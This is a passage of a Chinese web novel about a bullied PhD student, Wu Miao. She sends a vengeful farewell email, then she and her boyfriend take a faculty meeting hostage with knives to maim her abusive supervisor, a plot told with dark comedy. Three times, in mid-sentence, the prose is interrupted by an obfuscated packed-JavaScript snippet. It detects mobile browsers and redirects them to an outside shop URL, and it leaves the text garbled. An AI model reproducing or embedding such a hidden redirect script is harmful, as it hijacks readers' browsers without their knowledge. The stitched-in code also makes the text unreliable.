自信心是易碎品。 和导师闹翻后的江无远,就像一个受过大伤的运动员,伤口应该已经愈合,但之后每一次发力,都会让她暗自担忧,我能做出这个动作吗?我还能行吗? 贺鸣云还在喋喋不休:“我看过《文本盗猎者》,参与式文化,这个话题确实很有意思……” 江无远的心顿时变得很轻盈,她感到一些碎片正在被拼凑起。有人形容恋爱的感觉是“蝴蝶在胃里飞舞”,她想,得到同伴认可的感觉,原来不输恋爱。 ***** “走吧,带你去摊位开开眼。” 好巧不巧,他们遇上一群穿着清凉的女coser拍合照。 贺鸣云明显僵住了,慌乱地躲在江无远背后。 江无远故意逗他:“你看哪儿呢,贺教授?” 贺鸣云紧闭双眼,伸手揪住江无远的手套:“哪儿都不敢看,快带我穿越过去。” 江无远暗觉好笑,任由他抓着。“其实我也发过关于女性穿衣自由的视频,很好奇男教授的看法,贺教授,你是怎么看的?” 贺鸣云倒背如流:“《少穿的自由,是自由吗?》,对吧?” 他俩都沉默了两秒。 那是江无远刚做自媒体账号时发的古早视频,当时她还不怎么火。 “你去挖我的黑历史看了?” 贺鸣云狡辩:“不是黑历史,讲得挺好的。我只是,刚好,一不小心,在手机上点到了……” “也太刚好了吧?你怎么没误触支付宝,刚好给我转个两千万?” 贺鸣云想起他之前不小心转账给江无远一分钱,有点尴尬,顾左右而言他:“着装得体本身就是一种社会规训,穿着打扮也成了阶层品味的体现。有学者认为,穿衣自由实际上是将结构性压迫转化为个人责任,让个人承担穿着带来的后果,比如某人被偷拍了,首先会被指责是不是穿着暴露所致。” 江无远无情点评:“福柯和布尔迪厄两块砖,什么议题都可以往上搬。贺教授,引用名家没意思,我要听的是你的想法。” 贺鸣云不喜欢口头表达,不擅长即兴发挥。他习惯进行严谨、深入的研究后,用书面的形式进行表达。 虽然擅长发表论文和拿下课题,但他的工作并没有旁人想象的轻松。他总是很紧绷,害怕出错,担心自己的思考还不够全面。 完美主义是压在贺鸣云心上的一块巨石,他只能靠持续的苦读和苦做,如同西西弗斯一般,每天推动这巨石,周而复始,永无停歇。 他看着江无远,江老师的眼睛里是纯粹的好奇,没有一丝审判之意。 他知道,江老师是真的好奇他的回答。她相信他是个优秀的学者,也认为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171302|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他是个不错的朋友。和她呆在一起,他可以是个不擅长网课,不懂流行文化,可以随便发表自己不成熟看法的……普通人。 他好像听到了巨石破裂的声音。 “我个人认为,‘穿衣自由’会成为一个热门议题,本身就说明了问题。公共空间被心照不宣地认定为是属于男性的,女性是这个空间的闯入者,是被凝视的对象。” 江无远豁然开朗:“啊,因为你是客体,所以你会被挑剔。因为你是被凝视的对象,所以你需要解释自己,包括解释自己的穿着。” 贺鸣云点点头:“男性穿得不得体,甚至夏天半裸,都不会引发大规模的讨论、批判,最多也就是在社交媒体上被调侃两句。而女性的穿着却会引发公共讨论、批评,甚至是骚扰。如果是我,我会从公共空间的性别化切入研究这个话题。” 江无远若有所思:“很有启发,贺教授,我想有机会的话,我们可以一起研究下这个话题?” 贺鸣云回答得很快:“当然,总是有机会的。” 没有机会,创造机会就是了。 “你不介意的话,亚文化社群的自发劳动这个议题,我也想参与一下,”贺鸣云顿了顿,补充道,“江老师,你总是能选中既有研究价值、又有现实意义的议题,你以前做的视频,给了我很多启发。” 江无远的脸不争气地开始发烫。“谢谢……你怎么突然这么会讲话了,中邪了?” 贺鸣云一如既往,有问必答:“不客气。没有中邪。都是肺腑之言。江老师,人好多,我们在旁边休息一下?” 他们缩在会场的角落里,贺鸣云从随身背着的小包里摸出瓶藿香正气液,拧开了递给江无远。 江无远警惕地剜他一眼:“这么苦,想毒死我?” 贺鸣云实事求是:“防中暑的,我看你脸很红。” 该死的直男,有没有可能她脸红是因为用了canmake的腮红,以及她刚刚被赞美得有点害羞、有点上头了呢? 贺鸣云才没这方面的自觉和意识,监督她空瓶了,又说:“你稍微等我一下,我去买点吃的。” ***** 继各色coser之后,贺鸣云再次被各色同人产出震撼到。 江无远热情介绍:“这个是百合本子,你知道什么是百合吗?” 贺鸣云加快了离开的脚步:“我自己悟出来了,但我不想悟。” “等等,我买个东西。” 江无远拿起一个挂件,贺鸣云好奇地凑近了看:“这是谁?” “《咒术回战》里面的钉崎野蔷薇,我在约一个博士做访谈,她的微信头像是这个角色,给她带个小礼物,”江无远解释道,“有次讲座后她来加我微信,跟我聊过几句,导师可能有点问题,压力很大。这次刚好我们做焦虑感研究嘛,我也想再了解下她的情况,看需不需要帮忙。” “什么专业的?” “挺巧,还是你们社科院的,不过是学国际关系的。” 贺鸣云到底在社会科学学院混了几年,对国际关系系的风气略有了解。他隐隐有种不好的预感,问:“需要我一起吗?” 江无远摇摇头:“不用,我就先和她聊聊,如果真的存在霸凌的情况,我再跟你讲。” “好,”贺鸣云忍了忍,没忍住,又说,“如果学生已经重度抑郁或者焦虑,很容易把你当作救命稻草……” 江无远看着他,眼神有点古怪。 贺鸣云小心求问:“这又爹味了?” 江无远点头:“嗯,但是是那种慈父,男妈妈,你懂吗?” 贺鸣云直觉这个词不对劲:“……我不说了,我不想懂。” “来都来了,我带你去看个男妈妈,早川秋,这个角色很火,肯定有人出。” “江老师,我说我不想懂。哎,走就走,干嘛动手动脚的……” 他俩在那儿互相扒拉,一个路人妹妹走了过来。 “露琪亚老师,你好美!请问可以集邮吗?” “当然!” 这已经不是第一个了,贺鸣云自觉接过手机,熟练地蹲下,帮她俩拍合照。 路人妹妹又转向贺鸣云,迟疑道:“老师,请问你cos的是……?” “处长,”江无远秒答,“他演来视察会场情况的处长。” 妹妹恍然大悟:“哦哦,老师,挺帅的!可以集邮吗?” 贺鸣云皱了皱眉,他不喜欢拍照。 江无远帮腔:“宝宝,他不能ooc的,处长不能和大家合影,有舆情风险。” “对哦,有道理!谢谢两位老师,那不打扰啦。” 路人妹妹走远了。 贺鸣云还在原地百思不得其解,问:“她怎么知道我们是老师的?” 33. 衣冠禽兽 江无远和贺鸣云逛漫展时,吴渺正安抚嚎啕大哭的男友。 男友洪书渊是当年的市理科高考状元,考入隔壁精菁大学读八年制医学博士,发际线日渐升高。 四年前,吴渺参加老乡会聚餐,席间被某师兄开玩笑:“光看相貌,吴渺一点都不像高材生,像做那方面工作的。” 在座的其他人跟着起哄:“师兄说说,是哪方面工作啊?” “就技师啦,美甲师啦,之类的嘛,长得太漂亮了。” “哟,看来师兄经常去洗脚啊?” 包间充满了快活的空气,吴渺没接茬,默默把雪碧满上。 她旁边的男生开口了:“有这么好笑?” 吴渺看了他一眼——他刚刚一直在安静吃菜,没跟吴渺搭话,存在感稀薄——浓眉大眼直角肩,像90年代抗战老电影走出来的青年政委。 欢笑声变得寡淡,政委又问:“为什么长得漂亮就不像高材生?是因为你们都长得丑,所以推己及人了?” ***** 老乡会聚餐后,吴渺和政委默契地落在队伍最后面。 “你吃饱了吗?” “没有。” 初秋的夜晚凉风习习,他们走到大学城的小吃街嗦砂锅粉。 政委自我介绍:“洪书渊。以后我想做胸外或者神外医生。” 吴渺未来准备做出口生意。她家做小商品出口起家,快速积累起家族财富。随着内需增速逐步放缓,家里的生意开始往中东和非洲发展,吴渺向往这种在外大展拳脚的生活。 洪书渊笑着说:“看来我们未来都会很忙。” 吴渺意有所指:“我不会为了婚恋牺牲事业,很多男性不喜欢这一点。” “那看来我是少数了,我就佩服热爱事业、坚持自己的人,”洪书渊顿了顿,露出一个狡黠的笑,“以及被议论时,会把雪碧泼人脸上的人。” 吴渺一愣,也笑了起来。 ***** 四年过后,吴渺饱受导师折磨,延毕两年,前途未卜;洪书渊在医院轮转大半年,甲状腺结节巨大,精神状态岌岌可危。两人现在的头发加起来没有之前一个人的多,在绝望之路上双宿双飞。 最近一次约会,洪书渊吃完饭,往嘴里倒白色小圆片。 吴渺以为是口香糖,问他要一颗。 洪书渊说:“这个是治抑郁症的药。” 吴渺说:“那也给我一颗吧,我能吃。” 洪书渊没有给她,他看着她,眼泪突然喷涌而出。 吴渺吓得赶紧坐过去揽住他:“怎么啦?” “我为什么要学医?学医天打雷劈,学医不得好死!我为什么不学计算机?都是没得休息,不如去大厂,大厂还能拿高薪,大厂过年还不用值班!” 他哭得连现代男女关系平等原则都忘了,开始说胡话:“要是我收入高,你也不用在那个杂种手下读博了,此处不留爷,大不了不读了嘛!何必受这些鸟人的窝囊气!” 几年医读下来,洪书渊的热血早就凉了,连眼泪都是凉的,砸在吴渺迷茫的心上。 其实她也不知道自己为什么要学国际关系。还研究国际关系呢,她连师门关系都搞不明白。 ***** 收到江无远微信的时候,吴渺正在开组会。 江老师问她有没有时间,要不要一起喝杯咖啡。言辞间是小心翼翼的关切,她早有耳闻,江老师很关心学生,可惜她没那个福分,遇到的导师是个王八蛋。 吴渺坐在小会议室第三排的最边上,这两年她总是坐在这里,隐晦地表达对被边缘化的不满。 吴渺知道,在师门其他人看来,她是个很别扭的人。她无法完全拒绝导师的安排,干了许多杂活;可同时,她又做不到忍气吞声,收敛起心里的不满。这何尝不是一种冷脸洗内裤,纯属吃力不讨好。 吴渺已经难以分辨,这是最后一点自尊心作祟,还是彻底的自暴自弃。 总之,今天,她还是坐在这里,小会议室第三排,最边上。 胡杰注意道她在看手机,问:“吴渺,你在干嘛?” “抱歉,”她知道自己的语气一点也不抱歉,“我有消息进来。” 胡杰冷笑了声:“什么消息这么重要?面试消息?” 吴渺愣了下,她确实在偷偷找工作。 她家是做生意的,务实主义,爸妈已经暗示过好几次,不能毕业就别读了,干脆直接找份工作,也可以回家接手生意。疫情后家里的生意受到一些影响,不如以往景气,但到底瘦死的骆驼比马大,让独生女舒服自在一点还是没问题的。 妈妈说:“咱家又不穷,何必这么折腾呢?” 吴渺说,不蒸馒头争口气,我哪怕就是恶心胡杰两秒钟也行。 她爸妈没吱声。 在商人的眼里,吴渺的行为性价比太低,但在吴渺的心里,不马上滑跪,不马上认输,不悄无声息地退学,是她为自己、为洪书渊,能做的最后一点事。 好歹她也要先拿个不错的offer再退学,让胡杰知道,她不是失败了,是有了更好的选择,是她放弃了他。 ——但她找工作的消息,胡杰是怎么知道的? 上个星期,吴渺在国贸面了家外企,面试结束后,不巧遇到了去滑冰的学妹。 吴渺麻木地看了眼坐在另一边的同门们。 啊,果然如此。 她的同门,她的学长学姐、学弟学妹们,正交换着幸灾乐祸的眼神。 胡杰又说:“不想读了就打退学申请,不要占着茅坑不拉屎。每年退学的博士不在少数,不是每个人有做学术的脑子,退学也不丢人。” 也不是没有过退学的想法。 忘了是什么时候开始,大概是胡杰和师姐把一个横向课题扔给她,让她写结项报告。吴渺根本没参与过这个课题,挑灯夜战写出来的初稿,被胡杰当着同门的面,直接扔到了垃圾桶。 吴渺试图解释:“老师,这个课题我没有参与过,很多东西都不了解,我已经尽力了,确实难以完成这个任务。” 胡杰看了她一会儿,似笑非笑:“是吗?那就大家都别放假了,所有人留下来加班,一起写结项报告,给吴渺示范下,是不是一定得参与了课题才写得出报告,写完才准放假,写不完就都呆学校。” 应该是从那次起,为了避免被胡杰迁怒,为了体现站队的决心,为了不成为出气筒这个角色,同门的其他所有人,都开始不约而同地疏远她、无视她,甚至霸凌她。 吴渺的电脑里还存着当时反复斟酌写出的退学申请书,有好几个版本,分别是“卑微版”“中立版”“冷酷版”“脏话版”。 这几年,多亏积极的自我肯定和鼓励,以及洪书渊的陪伴,她才坚持到今天。 可现在,连一向乐观的洪书渊都被压垮了。 那天洪书渊边哭边问她:“他们到底想要什么?想要条二十四小时随时待命的狗?想要个只会服从命令的奴隶?他们到底要培养什么样的人才?我到底做错了什么?” 吴渺当时安慰他:“书渊,你没有错,我也没有错。我们再想想办法。” 他们当然没错,该死的另有其人。 吴渺已经从想退学的阶段跨过去了,随着对象牙塔的祛魅、对胡杰的怨恨加深,她不再害怕他、回避他。现在被他为难时,她甚至会感到一种战栗的激动。 吴渺回复江无远:“谢谢江老师,这两天有点急事要办,暂时没办法和您喝咖啡了,抱歉。希望以后有机会能和您好好聊聊,祝好。” 她现在另有打算。 ***** 临近开学,老师们提前回校,照例参加学院例会。 贺鸣云是最后一个到的。他没有迟到,还提前了五分钟。不过这种会,大家都是早早就到了,好趁领导来之前交换八卦。 贺鸣云一进门,会议室里就诡异地安静了两秒——他就知道,刚刚他们准在讲他坏话。 贺鸣云非常讨厌开会,尤其讨厌开会后的聚餐。要不是马远征威胁,以及江老师说“谁不去聚餐,谁就会成为餐桌上集体八卦的对象”,他才不来。 马远征热伤风,嗓子不舒服,刚做了雾化,让副院长陈泰宇代为主持会议。 陈泰宇这个副院长存在感极低,地位相当于代行掌门之权的丁敏君。 全院上下没人关心他,他们只关心一件事:周芷若是谁?谁会是下一任副院长?贺鸣云还是张智学? 陈泰宇先传达了上面的精神,又强调要重视教学改革试点工作——此处接收到马远征的眼神暗示,稍微表扬了两句“包括贺鸣云在内的青年教师”的网课质量。再然后是重中之重,请各位老师说一说有没有“问题学生”。 冰洋大学作为顶尖大学,收容了全中国最容易抑郁的尖子生。挂了一科,天塌了;实验数据跑不出来,完蛋了;被要求延毕,可以马上去死了。 特别是理工科,这两年自杀率和退学率攀升, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182009|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰洋大学校长被约谈了好几次。稳住学生的压力层层往下传导,成了又一个考核指标。倒是完全没人检讨,自己是否就是把年轻人逼上绝路的罪魁祸首。 相比理工科,人文社科学院的情况稍好,学文科的学生擅长悄悄抑郁、默默变态,不爱麻烦别人。 三分之一学生在社交媒体上写小作文,或者拍摄《退学后重新养一遍自己》vlog,愤怒出诗人,还真红了一些,吃上了网红这口饭。 三分之一学生社会化程度稍高,想办法找院长,或者花钱发论文,努力达到毕业条件,再考个乡镇公务员,勉强能解决生计问题。 还有三分之一学生和时间做朋友,先把导师给熬得不行了,在导师的帮助下堪堪毕业,准备迎接职场的下一轮收拾。 张智学率先表示:“我的学生都挺好。” 张智学的三个研究生都抑郁了,他不信,结果学生也是一根筋,去医院开了诊断证明给他看。 张智学当场就给撕了,撕了就没了,没了就相当于学生没事。让亲爹给他收拾摊子习惯了,最擅长穿着裤子拉屎,强行兜住。 李教授年事已高,精力有限,目前门下就一个博士生,被李教授逮着薅羊毛做课题,延毕了两年,保守估计还要延毕两年。 但李教授自信表示:“我博士没问题,跟我称兄道弟的。课题费分了不少给他,他再干两年,都能攒出首付了,不比在外面打工强?” 在场的教授都翻了个白眼。哪里的首付?鹤岗吗? 贾明光门下目前没有延毕的学生,只有一个据说是因为分手抑郁的,休学一年在家休养中。 轮到贺鸣云,他诚实作答:“我的两个博士都快毕业了,都想留在高校,但现在找工形势严峻,我很担心她们的就业情况。特别是大点那个,本科背景不好,找工作会比较吃力。” 马远征见他们个个粉饰太平,反而是带教成绩最好的贺鸣云老实巴交、自己卷自己,气得快要晕倒,重重咳嗽了两声。 陈泰宇代掌门心领神会,翻了翻手上的表格,说:“贺教授,你的学生都达到毕业要求了,连研一的学生都已经发了论文了,你不用这么担心。” 他接着说:“倒是张教授,你的三个学生都还没发C刊,还是需要注意毕业考核要求啊。” 张智学嘟囔:“那不是,最好的苗子都被贺鸣云挑走了嘛,给我的都是些笨蛋。” 贺鸣云看到他就烦,反驳都懒得反驳。 陈泰宇又说:“胡教授,你门下的吴渺已经第二次申请延毕了,这个学生有什么问题吗?” 胡杰是国际关系专业最资深的教授,曾经担任过社会科学学院的代院长,后来因为“师生关系问题”,被免除了职位。到底资历在那里摆着,别说陈泰宇,连马远征都不好直接说他什么。 胡杰言简意赅:“能力差,脾气差,不是读博的料。” 贺鸣云记得在漫展时,江无远说过,准备和一个国关系的博士生聊聊。 他给江无远发微信:“江老师,你约的那个博士,是姓吴吗?” 江无远秒回:“对,吴渺。” 陈泰宇求助地看了马远征一眼。 马远征哑着嗓子,说:“胡教授,学生是不是读博的料是一回事,我们怎么培养又是另外一回事。孩子现在心理健康情况怎么样?延毕对学生来说不是小事,很多孩子受不了这种打击。” 胡杰不满道:“那也不能让不合格的论文过关呐,不然高等教育成什么了?宽进宽出?现在的小孩怎么回事,我们那时候条件多艰苦,也没几个跳楼的。” 他又开始忆苦思甜,从恢复高考讲起。 贺鸣云听得一愣一愣的,同事几年,一起开了不少会,他还是第一次听胡杰说这么多话。 李教授听得不耐烦,插嘴打断胡杰:“温室里的花朵嘛,现在都是独生子女,家里条件又好,被父母保护得太好了。对吧,张教授?” 李教授本意是活跃气氛,不巧刚好活跃到了被老父亲勉强扶上墙的中年花朵身上,张智学脸色一黑,没搭茬。 江无远又发来一条微信:“怎么突然问起她?” 贺鸣云皱着眉回:“开会遇到吴渺导师了,看他这个样子,能想象吴渺同学日子不好过。” 江无远很快回复:“那你离他远点,小心天降正义,一个雷劈死他,连累到你。” 贺鸣云笑了下,正想回复,会议室的门被一脚踹开。 胡杰率先尖叫起来。 34. 瓮中捉鳖 贺鸣云回复微信一向很快,江无远迟迟等不来他的回复,疑惑地把玩着手机,怀疑他是不是又在会上乱说话,被群起而殴之了。 手机屏幕上跳出提示:您收到一封新邮件。 发件人:wumiao03 收件人:江无远 江老师: 您好,很抱歉我失约了,恐怕没机会和您一起喝咖啡了。 我叫吴渺,28岁,国际关系专业五年级博士生,正在修改毕业论文。——写到这句话的时候,我居然笑了,就是那个烂梗:“原来人无语的时候真的会笑。” 这篇大论文,我已经写了三年半。最开始写得还算顺利,没想到国际形势大变,我不得不重新选题。新选题刚上正轨,又和导师搞僵了关系,他不愿意指导我,更不会帮我投期刊。 江老师,我只比你小一岁,毕业却还遥遥无期,求职更是一筹莫展。我的本科同学们,有在国外深造的,有做公务员朝九晚五的,有在大厂攒了不少钱的。 而我拼命竞争、不断向上的结果,竟然是把路越走越窄,把一手好牌打烂。我想不明白。 有一段时间,我很想死。 我想在胡杰的办公室上吊,给他留下永远的心理阴影,让学校里每个人都在背地里戳他的脊梁骨。 后来我打消了这个想法,因为其实我清楚,他不会有什么阴影,有道德感的人才会有阴影;学院里的师生也不会为我惋惜,他们只会觉得我社会化程度低,太脆弱,太矫情,适应不了读博的辛苦。 我又想到一句烂梗:“很想死,但又觉得该死的另有其人。” 您看,这几年来,我为了缓解焦虑,花了太多时间在网络上,反而没有看多少书和论文。 焦虑的时候,我一个字都看不进去,一个字都写不出来,只能机械地刷小红书和短视频,让各种烂梗、各类短剧,刺激我疲惫的大脑,让我觉得自己还活着,还和这个世界有联系。 我已经写不出什么生动的文字来描述自己的生活、描绘自己的情绪了,甚至连书写痛苦和愤怒,也如此轻飘飘。 您可能不敢相信,我以前是个很强势、很自信的人,甚至家里也不缺钱。我自己都想不通,我怎么会沦落到被导师拿捏、被同学霸凌的地步? 前两天我和男朋友在一起,他哭了。我应该心疼他,应该也感到难过,可我一滴眼泪也流不出来,只能机械地拍着他的背,像背书一样,背出一些无用的安慰。 我觉得厌烦。 厌烦读博,厌烦诉苦,厌烦他的眼泪,厌烦我的麻木,厌烦我们是弱者的处境。 昨天晚上,我们一起看了《周处除三害》。看完电影,我通体舒畅,那种活人的感觉又回来了,我突然对自己的生活又有了掌控感。 我的名字不会出现在优秀毕业生名单上,也许也不会出现在好的期刊上,但胡杰永远不会忘记我的名字。 江老师,对不起,我听说您很关心学生,自媒体也做得很好,我利用了你,给你发送这封邮件。 冰洋大学这么多人,最后我能想到的也只有你。我不求你帮我,已经没有人能帮我了,我只求你不要像别的老师一样,在这之后,去安慰我惺惺作态的导师、同门,指责我脆弱、矫情、不懂事、脑子有病,我希望这个恶心的学校里,至少有一个人知道我的故事,明白我的选择。 我叫吴渺。 今天,我就要为民除害。 ***** 这是一封定时发送的邮件,吴渺恐怕已经在行动了。 江无远马上给吴渺打语音电话,她没接。又给贺鸣云和马远征打电话,两个人都没接。 江无远心知不好,点开贺鸣云昨天发她的会议通知截图,开会地点在B-208。她一边给警卫处打电话,一边冲出了家门。 ***** 异变发生时,除了胡杰以外,所有教授都很懵。 一个女生一脚踹开小会议室的门,表情平静,镜片下的眼神也十分沉着。要不是手上提着把巨大的菜刀,看起来就是个来找落在教室的手机的普通小女孩。 唯一知道内情的胡杰也不前情提要下,自私自利自个儿尖叫起来,连连后退,肥硕的腰身带倒了桌上两个保温杯。 那女生也不废话,一言不发,一把菜刀飞出手,扎在胡杰半米开外的桌面上。 胡杰的尖叫高了整整两个八度,摔倒在地。 贺鸣云心里推测了个大概,这女孩应该就是吴渺了。他不敢确定她是不是只冲着胡杰来的,眼疾手快,先把马远征和陈泰宇两个小老头拎到讲台底下,还顺了两把椅子挡住他们。 陈泰宇身为代副掌门,长期中立,不拉帮不结派不站队,只求平稳退休。此时大受感动,当场成了贺鸣云铁粉,恨不得即刻传副院长之位于贺教授。 张智学到底年轻,身姿矫健,敏捷度拔群,四大步就跑到后门准备夺门而出,死道友不死贫道。 ——小看博士的智商了。张智学刚打开后门,门外冒出个牛高马大的男生,看起来也是个学生,手上捏着两把小刀。 刀倒是不大,男生表情挺瘆人的,像《惊魂记》里的精神病杀手诺曼。 张智学鼓起勇气出拳,拳头离对方尚有四分之一米之远,就被男生一拳放倒,只来得及发出娇羞的一声“啊哟”,刚好挨着胡杰倒下,呈首位接龙之姿。 小刀男走进会议室,把后门反锁,双开门的身材挡住众人的退路,低声喝道:“谁都不准跑!” 前两天晚上,贺鸣云在江无远的强烈推荐下,看了《热天午后》。此情此景,让他不禁怀疑,这两个孩子难道是准备绑架一群教授,和学校谈判,让他们按时毕业?不会吧? 吴渺把前门也锁了。 她的声音不大:“各位老师好,我就是你们刚刚在讨论的吴渺。我家是做厨具的,所以我带了很多刀具来。” 她把书包扔在地上,从金属和地板碰撞的声音来判断,保守估计包里还有五六把刀,且疑似有削铁如泥的斩骨刀。 一阵呜咽声,张智学竟然吓哭了。刚爬起来没两秒,又哭着倒在了地上。 接着又是一阵干呕声,应该是胡杰,贺鸣云不想细看。 李教授哆哆嗦嗦摸出手机打110,在极度的惊恐中,不仅摁到了免提键,还摁错号码打成了10010。 洪亮的“您好,欢迎致电中国联通,我是联通智能助手通通,您好,您当前话费余额为16.6元”在小会议室回响。 贺鸣云给了躲在讲台下的马远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190451|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 征一个眼神,马远征心领神会,悄悄准备报警。 贺鸣云上前两步,挡在还没反应过来、呆坐在座位上的贾教授和林教授面前。 他试图和吴渺沟通:“吴渺同学你好,我是社会学系的贺鸣云,你可能不知道我——” 吴渺打断他:“我知道你,你门下的学生都能准时毕业,你不错。” “……谢谢。另外一位同学,你也是我们学院的吗?” 洪书渊愣了愣,说:“我不是你们学校的,我是吴渺的男朋友。” 贺鸣云仔细看了看他手里的两把小刀:“你是学医的吗?” “对,这是手术刀,我下手很快,不会有什么痛苦。” 胡杰大概是被吓疯了,怪笑起来。张智学怕他激怒手持凶器的嫌犯,躺在地上踹了他两脚,胡杰躺在地上不动弹了。 贺鸣云接着说:“好的,吴渺同学,医生同学,你们今天来有什么诉求,可以跟我讲讲吗?” 张智学从喉咙里挤出一声短促的哀嚎声,贺鸣云大概懂他的意思:全会议室里最不会说话的贺鸣云,竟然承担起了性命攸关的谈判专家一职,张智学八成绝望得想死。 吴渺很平静:“贺教授,你们报警了吧?” 贺鸣云诚实作答:“是的,但你们把门锁了,还劫持了我们,暂时我们还是能在这里不受打扰好好聊聊的。” 马远征好想从讲台下伸出一巴掌,把这个傻子扇清醒点。 没想到吴渺点了点头,说:“贺教授,我们今天来,不想讨公道,也不想讲道理,我们只要胡杰的小拇指,不会伤害其他人。” 竟然还颇有昭和风气。 贺鸣云在这当头走神想到,他带的第一个博士生,梅煜,写过一篇关于日本黑//帮社会地位变迁的小论文,他因此了解了不少日本□□断指的秘辛。 近年来,随着黑//帮势力被削弱,许多年轻人脱离黑//帮,转而打零工讨生活。但缺失的小指头是曾经混迹黑//帮的铁证,特别是在服务业,雇主是绝对无法接受的。 梅煜兴之所至,又发散出去写了一笔,日本的义肢产业高度发达,恐怕与黑//帮断指的潜规则有千丝万缕的关系。当时贺鸣云还批评她逻辑链不清晰、论文结构松散,让她删掉这一段。 他记得梅煜甚至研究过哪些医生擅长接手指,也隐隐记得在哪里看到过,断指只要低温保存得当,24小时内都可以接回去。 贺鸣云心想,这两个孩子挺厚道,本可以趁其不备冲进来就割了胡杰的颈动脉,结果就打算切根小指头。不蒸馒头争口气的无奈之举罢了,他得想办法保护两个孩子,尽量不要造成严重后果—— 这时异变陡生! 张智学听吴渺说只想剁胡杰的小指头,大松一口气,又有了体力和勇气,蹿起来直奔唯一一扇开着的窗,正要起跳,岂料胡杰聊发少年狂,一个鲤鱼打挺飞扑过去,撞倒张智学,以一个灵活的背跃式跳出窗,逃出生天。 张智学这次反应很快,马上起身紧追其后。他慌乱之中完全失了智,紧跟着两个学生的击杀目标,自己往危墙下送,令人智熄。 吴渺扔下会议室里的众人,和洪书渊追击出去。 贺鸣云没多想,不顾其他教授阻拦,跟了上去。 35. 速度激情 张智学发足狂奔,看似矫健,实则大脑一片空白,只记住了一个指令:死死跟住胡杰。 两人前后脚跑到电梯口,可恶!电梯停在八楼。谁大暑假的没事还去八楼啊? 胡杰短粗的手指狂点下行键,动作快出了残影,堪比开着最高档的筋膜枪。 可惜B幢教学楼年老失修,电梯运行速度极慢。 张智学这时才清醒过来:“不是,我们在二楼,等什么电梯啊!走消防通道啊!” 胡杰颤颤巍巍:“我膝盖不好,走不了楼梯。” 电梯下到四楼,背后的脚步声已然迫近。 “他们追上来了!他们追上来了!!” 胡杰一听,在肾上腺素的驱动下,0米助跑,原地一个干拔,竟然跳到了张智学(身高一米七二)背上:“快走!消防通道!快!!!” 张智学被胡杰(体重一百四十六斤)死死箍住,晕头转向,四肢自发运作,往消防通道冲去。 胡杰自信指挥:“他们肯定以为我们会去一楼,我们反其道而行之,往上跑!” 张智学从小听他爹的话,“危急时刻相信他人”已成为刻烟吸肺的底层代码,无暇深思胡杰的瞎指挥,抬腿就往楼上跑。 跌跌撞撞跑到四楼,腿没了力气,身后也似乎没了声音。 肾上腺素到点失效,张智学膝盖一软跌坐在地,连带着胡杰被摔在地上。 胡杰撞到了头,嗷嗷叫起来,被张智学捂住嘴:“别叫了,再叫他们要发现我们了!” 胡杰叫得更大声了:“我要弄死吴渺!这个杂种!我要告她!赔我精神损失费!” “你别喊了!” 张智学死死捂住胡杰的嘴,胡杰宁死不屈,激烈挣扎,蹭了他一手的口水。 张智学慌乱中用力过猛,彻底切断了胡杰的供氧,胡杰呼吸困难,双腿一蹬,晕了过去。 张智学大骇,探了探老教授的鼻息——还好,还在呼吸。 他又掐人中又扇耳光的,把胡杰扇得面色红润,看起来倒是龙马精神的,睡得十分之安详。 他们瘫倒在四楼的走廊,长廊一片漆黑,四下无人,在这荒芜的寂静中,张智学突然觉得很孤单,很凄凉。 “胡教授,胡教授?胡教授你醒醒啊。接下来怎么办啊……” 脚步声再度响起,消防通道的门被拉开。 张智学极度紧张,精神当场分裂,开始自言自语: “是保安还是凶手?” “保安怎么会来?肯定是凶手。” “哈哈!我们完啦!脑袋要开花啦!” “小指头,小指头,呜呜呜……” 吴渺和洪书渊一前一后,出现在走廊上。 张智学放声尖叫:“吴渺来了!救命啊!来人啊!” 胡杰一听“吴渺”二字,从昏迷中惊醒,电光火石间一个离奇走位,蹿起来往前跑。 张智学抱住胡杰的小腿,被他东倒西歪,拖进了最近的一间教室。 费劲吧啦跑了半天,归来战场仍在小会议室。 胡杰一马当先,躲到讲台后面。 张智学两股战战,跑不动了,强装镇定摸出手机。“同学,请等一下,生死存亡之际,我必须给我爸爸打个电话。” 洪书渊给了他一脚,张智学的手机无助地在半空划出一道弧线,栽倒在地,发出一声脆响。 “你谁啊你?我等你爹啊。” 另一边吴渺正在追击胡杰。 胡杰绕课桌闪避之,只听嘎嘣一声,老登跌坐在地哀叫连连,疑似闪避太快,五十七高龄的踝骨承受不住压力,扭了。 吴渺立刻蹲下,按住胡杰的虎背熊腰。“书渊,我逮到他了!” 她其实不用摁,胡杰又被吓晕了。 洪书渊闻言分神望去,欲支援之,没再关注张智学。 